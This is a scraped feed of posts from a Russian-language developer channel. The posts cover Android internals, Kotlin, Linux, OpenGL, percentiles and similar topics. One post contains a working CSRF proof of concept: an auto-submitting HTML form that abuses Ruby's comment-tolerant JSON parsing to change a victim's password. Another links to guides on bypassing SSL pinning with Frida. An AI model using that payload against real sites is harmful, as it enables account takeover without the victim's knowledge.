19 Подписчиков

CODE SALAD

Поделитесь каналом с друзьями

Канал с заметками по разработке платформы Android, по разработке приложений, а также по другим областям разработки. А ещё про всякое администрирование, про Linux, конфигурирование и всякое такое.

Последние посты

   CODE SALAD

CODE SALAD

https://habr.com/en/post/414443/ #cpp

   CODE SALAD

CODE SALAD

» "Null is your friend, not a mistake" » Роман Элизаров, тимлид Kotlin » Kotlin — null-safe язык 📝 Null is your friend, not a mistake — Или почему разработчики боятся null. https://medium.com/@elizarov/null-is-your-friend-not-a-mistake-b63ff1751dd5 #java

   CODE SALAD

CODE SALAD

Есть две фишки про платформеры — forgiving jumps и input buffering. Forgiving Jumps — если игрок прыгает с краю платформы, но чуть-чуть промахнулся и сошел на пару пикселей, всё равно засчитываем прыжок. То есть, даем еще несколько фреймов, даже если игрок уже не на платформе Input Buffering — если игрок хочет прыгнуть сразу после приземления, даем окно в несколько фреймов до приземления, чтобы игроку не пришлось целиться ровно в момент приземления и он мог зажать прыжок за мгновение до него. #gamedev

   CODE SALAD

CODE SALAD

Учимся инфосеку 🎞 Школа Информационной Безопасности Яндекса https://www.youtube.com/playlist?list=PLdJo1XilUTZPOJ1kSnoKheT7YSygP9FIO #video #security

   CODE SALAD

CODE SALAD

The Linux Man Канал с видео о Linux. О сетевых протоколах, о файловых системах, про файлы и архивы и т.д., и т.п., доходчивым английским языком. 🎞 Linux Tutorials https://www.youtube.com/playlist?list=PLq1noKggzASu92gX_ARJRk-W9aX_4OL7d #videos #linux

   CODE SALAD

CODE SALAD

"Убийца" IDA Pro: Radare2 Инструмент для реверс-инжениринга, доступен под linux, с открытым исходным кодом, без регистрации и смс, брат жив. 📟 Radare2 https://github.com/radare/radare2 #reverse #security

   CODE SALAD

CODE SALAD

https://www.youtube.com/watch?v=FlgLxSLsYWQ

   CODE SALAD

CODE SALAD

Меня часто спрашивают по поводу готовых проектов в проде на Flutter. Решил отразить в посте немного шире: – Топ 10 существующих приложений на Flutter с открытым исходным кодом. Есть ссылка на сторы и на сорцы – Прикольная галерея с готовыми открытыми приложениями у котторых очень крутые эффекты местами, некоторые из этих эффектов я бы достаточно долго делал бы на native. Естественно можно потрогать + скачать код – Интересно увидеть первый маркет готовыми Flutter темами (читай частями UI и бизнес логики). Давно не видел чего-то подобного, не коробочного для native. Что сказать – браузер грузится, лавеха мутится.

   CODE SALAD

CODE SALAD

http://tehnoomsk.ru/node/3507

   CODE SALAD

CODE SALAD

Ещё раз о главном, со вкусом Kotlin 📝🔒 Synchronization, Thread-Safety and Locking Techniques in Java and Kotlin https://proandroiddev.com/synchronization-and-thread-safety-techniques-in-java-and-kotlin-f63506370e6d #java #multithreading #kotlin

   CODE SALAD

CODE SALAD

Немного OpenGL Просто туториалы по OpenGL. Всё. Tutorial 1 : Opening a window 📝 https://www.opengl-tutorial.org/beginners-tutorials/tutorial-1-opening-a-window/#building-on-linux OpenGL 📝 https://learnopengl.com/Getting-started/OpenGL Пакеты для разработки под OpenGL на Fedora $ sudo dnf install -y libXrandr-devel.x86_64 libGLEW.x86_64 libXinerama-devel.x86_64 doxygen.x86_64 libXcursor-devel.x86_64 mesa-libGL-devel.x86_64 glew-devel.x86_64 mesa-libGLU-devel.x86_64 glfw-devel glm-devel.noarch GLFW из репозиториев у меня так и не удалось использовать, поэтому собираем: 1. Качаем и распаковываем исходники отсюда $wget https://github.com/glfw/glfw/releases/download/3.2.1/glfw-3.2.1.zip $ unzip glfw*.zip 2. Собираем в систему $ cd glfw* $ mkdir build && cd build $ cmake .. $ make $ sudo make install 3. Собираем .so На случай, если не хотим засорять систему, можно собрать libglfw.so $ cd glfw* $ mkdir build && cd build $ cmake -DBUILD_SHARED_LIBS=ON .. $ make 📟 opengl-tutorials/ogl — примеры кода https://github.com/opengl-tutorials/ogl #linux #fedora #opengl

   CODE SALAD

CODE SALAD

Про Android Verified Boot 2.0 Есть такая штука в Android, которая позволяет в процессе загрузки системы верифицировать разделы, проверяя их целостность. Если коротко: берутся хеши от разделов (полный хеш от boot и прочего, корневой хеш — от system и vendor), кладётся в раздел vbmeta. В процессе загрузки происходит проверка корректности хешей, и в случае каких-то проблем показывается экран с ошибкой. Про корневой хеш: поскольку system и vendor очень большие разделы, полный хеш от их содержимого не берётся. Вместо этого, разделы разбиваются на блоки по 4kb, берутся хеши от них, потом берутся хеши от нескольких блоков и т.д. по слоям, пока не останется одна 4kb хэш-сумма. На картинке понятнее. Ещё поддерживается roolback protection, который позволяет проверять версию образа и не зашивать образ версией ниже, чем зашит на данный момент. Нужно для того, чтобы не позволить устанавливать более старые и уязвимые ядра Android для обхода загрузки. 🎞 U-boot and Android Verified Boot 2.0 — Igor Opaniuk — доклад о AVB https://www.youtube.com/watch?v=ilZ9QmzP-Lo Презентация 📟 Android Verified Boot 2.0 — сам репозиторий и его README.md https://android.googlesource.com/platform/external/avb/+/master/README.md doc: 📝 Verified Boot — документация Google https://source.android.com/security/verifiedboot #android #framework #embedded #videos

   CODE SALAD

CODE SALAD

CodeAurora Android for MSM Project https://wiki.codeaurora.org/xwiki/bin/QAEP/release Интересно, что Qualcomm выкладывает исходники для камней sdm660, но не выкладывает для sdm630, и для сборки прошивки от первого для второго приходится тратить много времени. #android

   CODE SALAD

CODE SALAD

Все. Не могу больше. За последние три дня я получил 5 вопросов о том что такое percentile (он же персентиль или процентиль). А я всего-лишь имел неосторожность указать в ТЗ на разработку системы аналитики для нашего курса, что помимо среднего времени прохождения задания нам еще нужны персентили. Это же персентиль, Карл! Они же практически везде в IT вылезают. Ну да ладно. Внесу свою лепту в улучшение жизни на земле и в двух словах расскажу про персентили. Надеюсь это кому-нибудь да пригодится. Вместо предисловия рекомендую купить и прочитать отличную книгу про статистику: https://www.mann-ivanov-ferber.ru/books/golaya-statistika/. Книга написана простым языком и повествует о том как вообще смотреть на всякие статистические показатели. Возвращаемся к персентилям. Давайте представим себе ситуацию, что на нашем небольшом, обитаемом острове живет 10 человек. И у первого зарплата 10 тысяч, у второго 11 тысяч, у третьего 12 и так далее. У последнего 19 тысяч. Средняя зарплата 14 500 рублей (не верьте на слово - проверьте!). А теперь давайте одному аборигену зарплату поднимем до 300 тысяч. Среднее тут же возрастает до целых 42600. Но блин, ведь у большинства зарплата в несколько раз меньше среднего! Вот тут на сцену и выходят персентили - они позволяют легко и непринужденно отсекать различные пики и всплески. 50-ый персентиль (он же медиана) в нашей гипотетической ситуации до повышения зарплаты будет так же равен 14500. Он показывает, что 50% людей получают 14500 или меньше, а другие 50% - 14500 или больше. Если взять 70-ый персентиль, то он уже будет равен 16300, что означает что 70% людей получают 16300 или меньше. А остальные 30% 16300 или больше. Все просто? Круто! Теперь давайте повысим зарплату нашему поселенцу до 300к. Как мы помним среднее у нас поднялось до 42600. А вот 50-ый и 70-ый персентили не изменились - потому что у нас 70% как получали 16300 так и получают. Изменения коснулись только оставшихся 30%. Где это применяется? Да везде. Когда вам говорят среднее значение зарплаты и не говорят медианы - вас набманывают. Точнее говорят приятную часть и опускают ту, которую вам лучше не знать. Но без медианы абсолютно непонятно как получилось среднее - может 100 человек получают 100 рублей, а один известный нефтяной управленец миллиард, вот вам и нормальная средняя зарплата. Если возвращаться к IT, то самое частое применение - это полоса трафика к вашим серверам. Очень часто счет вам выставляют на основании 95-ого персентиля по используемой полосе. Что следует читать как: 95% времени вы использовали 3 mbit/s (или сколько там у вас). А остальное время может и были какие-то пики, но мы их не учитываем. Или еще хороший пример - время ответа веб сервера. Если 99-ый персентиль равен 200ms - это означает, что 99 процентов ваших клиентов получают ответ от сервера за 200 ms или быстрее. И если вдруг какой-то тип по 2G будет получать ответ в течении 10 минут - ваша статистика не сильно испортится и вам не придется гадать почему вдруг среднее время ответа выросло до 300 ms. Ну и в заключение, чтобы закрепить прочитанное, предлагаю посмотреть на график времени ответа. На нем очень хорошо видно, как соотносится среднее, медиана и прочие персентили с реальными данными.

   CODE SALAD

CODE SALAD

DNS Flag Day к нам приходит tl; dr: мир переходит на EDNS без обратной совместимости с оригинальным DNS. https://habr.com/ru/company/cisco/blog/436662/ Сайт мероприятия https://dnsflagday.net/ Там можно проверить что произойдёт с тем или иным сайтом. Ещё можно проверить из консоли: https://gitlab.isc.org/isc-projects/DNS-Compliance-Testing

   CODE SALAD

CODE SALAD

chroot за несколько минут Не самый оптимальный, но самый быстрый вариант запилить chroot окружение на вашей машине. dnf install debootstrap schroot echo ' [xenial] description=Ubuntu Xenial directory=/var/chroot/xenial root-users=me users=me,myself.i groups=wheel ' >> /etc/schroot/schroot.conf mkdir -p /var/chroot/xenial debootstrap --variant=buildd --arch=i386 xenial /var/chroot/xenial http://archive.ubuntu.com/ubuntu/ schroot -c xenial -u root Внутри окружения: apt-get install ubuntu-minimal #linux #chroot #debootstrap

   CODE SALAD

CODE SALAD

Вот тут есть приятный маленький рецепт про то, как в gradle файле прописать репозиториям конкретные группы зависимостей. Ну, знаете, google должен сидеть исключительно на первом, а jitpack - на кофеине. Ждём теперь статью о том, как вкрутить это во всякие dependencies.gradle файлы. #gradle

   CODE SALAD

CODE SALAD

Вариант защиты от уязвимостей с подменами зависимостей в gradle-файле.

   CODE SALAD

CODE SALAD

https://blog.cloudflare.com/http-3-from-root-to-tip/

   CODE SALAD

CODE SALAD

Очень крутой дифф для детального разбора разницы и апдейтов различных версий Java между собой. Для меня[т.е. человека кототрый уже не так плотно следит за развитием большой Java] прям очень информативно и залипательно – https://github.com/marchof/java-almanac/ Совсем скоро выходит Java 12, пока погружаться. А заодно смотреть какие JSR для 13 подготовили?

   CODE SALAD

CODE SALAD

Kotlin Academy Наткнулся на медиуме на страницу с кучей статеек, помогающих изучить Kotlin и узнать больше тонкостей работы с ним в разных ситуациях. 📝 Kt. Academy — "Site with mission to simplify Kotlin learning" https://blog.kotlin-academy.com/?source=footer_card&gi=6b2056a964d2 📝 Kotlin Coroutines Cheat Sheet — Шпаргалка по корутинам https://blog.kotlin-academy.com/kotlin-coroutines-cheat-sheet-8cf1e284dc35?gi=2ff614e4f604 А ещё, Kotlin 1.3.20 релизнулся, а Google начали его использовать как основной язык для Android разработки. #kotlin

   CODE SALAD

CODE SALAD

Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии! Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF. <body onload="document.forms[0].submit();"> <form action="https://visim" method="POST" enctype="text/plain"> <input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value=""> </form> </body>

   CODE SALAD

CODE SALAD

Основные критерии качества приложений Документация от гугла по поводу качества приложений. Про функциональность, внешность, требования магазина и прочее. По ссылкам также есть про качество приложений для планшетов, носимых гаджетов и прочее. 📝 Core app quality https://developer.android.com/docs/quality-guidelines/core-app-quality #android

   CODE SALAD

CODE SALAD

Аналог Sketch под Linux. Опенсорсный, нативный. 📟 Akira — "Native Linux App for UI and UX Design built in Vala and Gtk" https://github.com/Alecaddd/akira #ui #vala #gtk

   CODE SALAD

CODE SALAD

Тогда учитесь, блеать! Наткнулся на сайт-аггрегатор курсов для разработчиков. Сайтовладельцы покупают курсы и выкладывают на сайт. Другие люди покупают подписку на сайт и смотрят курсы. Есть и бесплатные курсы (например, по Unreal Engine и C++), есть дни доступа к платным курсам с сообщениями типа "Этот курс находится в платной подписке! И будет доступен в бесплатном просмотре 17.02.2019." https://coursehunters.net

   CODE SALAD

CODE SALAD

Отрывок ответа со StackOverflow, объясняющий различные значения ключевого слова static в C++. Далее — про функции. Functions Significantly more straightforward, static is often used as a class member function, and only very rarely used for a free-standing function. A static member function differs from a regular member function in that it can be called without an instance of a class, and since it has no instance, it cannot access non-static members of the class. Static variables are useful when you want to have a function for a class that definitely absolutely does not refer to any instance members, or for managing static member variables. struct A { A() {++A_count;} A(const A&) {++A_count;} A(A&&) {++A_count;} ~A() {--A_count;} static int get_count() {return A_count;} private: static int A_count; } int main() { A var; int c0 = var.get_count(); //some compilers give a warning, but it's ok. int c1 = A::get_count(); //normal way } A static free-function means that the function will not be referred to by any other translation unit, and thus the linker can ignore it entirely. This has a small number of purposes: — Can be used in a cpp file to guarantee that the function is never used from any other file. — Can be put in a header and every file will have it's own copy of the function. Not useful, since inline does pretty much the same thing. Speeds up link time by reducing work — Can put a function with the same name in each translation unit, and they can all do different things. For instance, you could put a static void log(const char*) {} in each cpp file, and they could each all log in a different way. Static Functions in C++ #cpp

   CODE SALAD

CODE SALAD

Скорость вариантов форматирования строк в python https://gist.github.com/idlesign/817fb27ef2433df0d10c628bed630a51 #!/bin/bash measure () { local RES=$(python3.7 -m timeit -n 2000000 -s 'x=256' "$1" | cut -d ":" -f 2) echo "$1 -> $RES" } measure 'str(x)' measure 'f"{x}"' # python 3.6 measure '"%d" % x' measure '"{0}".format(x)' Результаты str(x) -> 159 nsec per loop f"{x}" -> 58.4 nsec per loop "%d" % x -> 122 nsec per loop "{0}".format(x) -> 218 nsec per loop #python

   CODE SALAD

CODE SALAD

Android Security Awesome Репозиторий-коллекция всякого разного, относящегося к безопасности Android: от OWASP и статей до инструментов и эксплоитов. 📟 android-security-awesome — "A collection of android security related resources." https://github.com/ashishb/android-security-awesome #android #security

   CODE SALAD

CODE SALAD

⚙️ takeover.sh. Разворачиваем в памяти вторую ОС поверх основной. Любителям устанавливать операционные системы по SSH, скрипт рекомендуется к ознакомлению. Посмотрел, показал как работает, как запустить вторую ОС из памяти. 📗 https://sysadmin.pm/takeover-sh/ #ssh #будничное #linux

   CODE SALAD

CODE SALAD

​​#Mobile #Frida #Reverse Сегодня небольшой экскурс в исследование мобильных приложений, на который меня натолкнула одна простенькая статейка. Давайте начнем с простого, как перехватить и проанализировать https трафик между Android-приложением и сервером, обойдя SSL Pinning? Для этого нам понадобится рутованый смартфон (или его эмулятор), Frida, Burp, немного времени и вот эта статья: http://omespino.com/tutorial-universal-android-ssl-pinning-in-10-minutes-with-frida/ К слову Frida очень удобный и популярный интрумент в своих кругах, по сути эта штука способна внедрять сторонний код в уже запущенное приложение на смартфоне (в том числе и на iOS). Для полного погружения в материал советую еще изучить: • Статья на Хакере: https://xakep.ru/2018/03/19/android-frida/ И вот этот очень качественный материал из 3 частей от ребят с @R0_Crew: • Введение в Frida https://forum.reverse4you.org/showthread.php?t=3054 • CrackMe 1 https://forum.reverse4you.org/showthread.php?t=3057 • CrackMe 2 https://forum.reverse4you.org/showthread.php?t=3058

   CODE SALAD

CODE SALAD

Подъехало смешное: в OpenJDK заслали патч, который убирает нехорошие слова. Ну то есть заменяет, например, “well, fuck ?!” на “Oh no!” и “pretty crappy to use” на “a poor substitute”. В общем, докатились. #jdk #openjdk #java https://habr.com/post/433044/

   CODE SALAD

CODE SALAD

Не "у нас прод ёбнулся", а "временные технические неполадки"

   CODE SALAD

CODE SALAD

O____o https://habr.com/company/flant/blog/433158/

   CODE SALAD

CODE SALAD

📻 Apple music web player. Камрад запилил веб-плеер для apple music. Потому что может, и потому что ему хочется слушать apple music в этих наших линуксах. Проект на Github, отдельный сайт доступен: https://playapplemusic.com/browse https://github.com/naveedgol/apple-music-web-player Reddit уже заценил, возможно и вам понравится. 😉 P. S. Делайте ставки - отожмёт Apple домен, или нет. #music #github

   CODE SALAD

CODE SALAD

Про GraalVM 📝 Смешались в кучу C и Scala https://habr.com/post/358700/ #java #graalvm #jvm

   CODE SALAD

CODE SALAD

android.database.sqlite.SQLiteDatabase В коммите 9FD23F6 расширили SQLiteQueryBuilder (с подписью DO NOT MERGE, конечно же). В том же коммите незаметно спрятали метод SQLiteDatabse#L1735: public int executeSql(String sql, Object[] bindArgs) через @hide, тем самым добавили в приватное API. Если были завязаны на него, то теперь не будете. #android #framework

   CODE SALAD

CODE SALAD

Немного про разработку Google Author: Andriy Naborskyy <[email protected]> Date: Mon Nov 14 14:35:51 2016 +0000 DO NOT MERGE ANYWHERE Revert "DO NOT MERGE ANYWHERE libhwui: make setSurface asynchronous" am: c5bf8bc74d -s ours am: f380f53752 -s ours am: dbbde14239 -s ours am: f566a1d4bf -s ours am: e26d15582b -s ours am: bb1dfdc660 -s ours am: 2480121100 -s ours am: 9635303d5f -s ours #androif #framework

   CODE SALAD

CODE SALAD

Поддержка API для Ice Cream Sandwitch всё https://android-developers.googleblog.com/2018/12/google-play-services-discontinuing.html #android

   CODE SALAD

CODE SALAD

Back to basics или про многопоточность в Java Одна из сложных тем, которая является слабо изученной многими разработчиками, в особенности мира Android — это многопоточность в Java. По ссылке есть сравнительный обзор различных книг на эту тему из далёкого 2000 года. 📝 Java threads: A comparative book review — Choose the best tutorial for learning to program with Java threads https://www.javaworld.com/article/2076263/java-concurrency/java-threads--a-comparative-book-review.html #java

   CODE SALAD

CODE SALAD

📻 Tizonia. Занятный проект для любителей cli утилит. Проигрыватель для популярных стримминговых и музыкальных сервисов. https://github.com/tizonia/tizonia-openmax-il #desktop #cli #github

   CODE SALAD

CODE SALAD

https://blog.stylingandroid.com/rialto-getting-started/ Библиотека, которая берёт на себя работу со span'ами для TextView и позволяет стилизовать текст удобно. 📟 Rialto https://github.com/StylingAndroid/Rialto #android #view #ui

   CODE SALAD

CODE SALAD

https://medium.com/grandcentrix/transform-api-a-real-world-example-cfd49990d3e1 #android

   CODE SALAD

CODE SALAD

🆖 NGINX Cookbook 2019. Обновлённое издание. К тому что было, добавлена информация о gRPC, HTTP/2 пушах, и кое-кто о кластерах и балансировке. #книга #nginx

   CODE SALAD

CODE SALAD

​​Android P: Priority Buckets #разработка #статьи В последней версии Android P был анонсирован Priority Buckets: обновление для управления расходом батарей, где система может приоритезировать ресурсы, основываясь на том, как часто и как давно использовалось приложение.  Выглядит интересно и правильно. Например, если имеется приложение, которое пользователь запускает редко, то при попытке выполнить фоновую операцию приоритет в ресурсах отдается текущему приложению и его операциям.  Поэтому, теперь приложение попадает в одну из групп: • active — приложение, которое сейчас запущено пользователем. Интересно то, что если приложение не имеет launcher activity, то оно никогда не попадет в эту группу. • working set  — приложение, которое не запущено, но используется часто в течении дня. Например, наши любимые соц.сети. • frequent — приложение, которое не запущено, но используется иногда в течении недели. Возможно, приложение для тренировок или такси. • rare — приложение, которое редко используется на устройстве. Например, специальное приложение, которое вы использовали только в отпуске. • never — приложение, которое никогда не запускалось. Для разработчиков, есть некоторые факторы, которые стоит учитывать, особенно, когда дело касается работы в фоне. В статье приведена таблица ограничений, которые накладываются на приложения, находящиеся в определенных Buckets. Поэтому, если вашему приложению важна работа в фоне, то обязательно проверьте, как оно ведет себя на последнем Android.

   CODE SALAD

CODE SALAD

И ещё бесплатная книга от NGINX. Отзывы шарящих людей высокие, рекомендуется к прочтению. 📝 Microservices: From Design to Deployment, a Free Ebook from NGINX https://www.nginx.com/blog/microservices-from-design-to-deployment-ebook-nginx/ #nginx #linux

   CODE SALAD

CODE SALAD

Разница между CMD, RUN и ENTRYPOINT http://goinbigdata.com/docker-run-vs-cmd-vs-entrypoint/ #docker

   CODE SALAD

CODE SALAD

⚒ libtgvoip source code was updated to v2.3 🔥 Are there new strings for Group Calls and Video Calls? VoIP library for Telegram clients github.com/grishka/libtgvoip

   CODE SALAD

CODE SALAD

https://www.opennet.ru/opennews/art.shtml?num=49594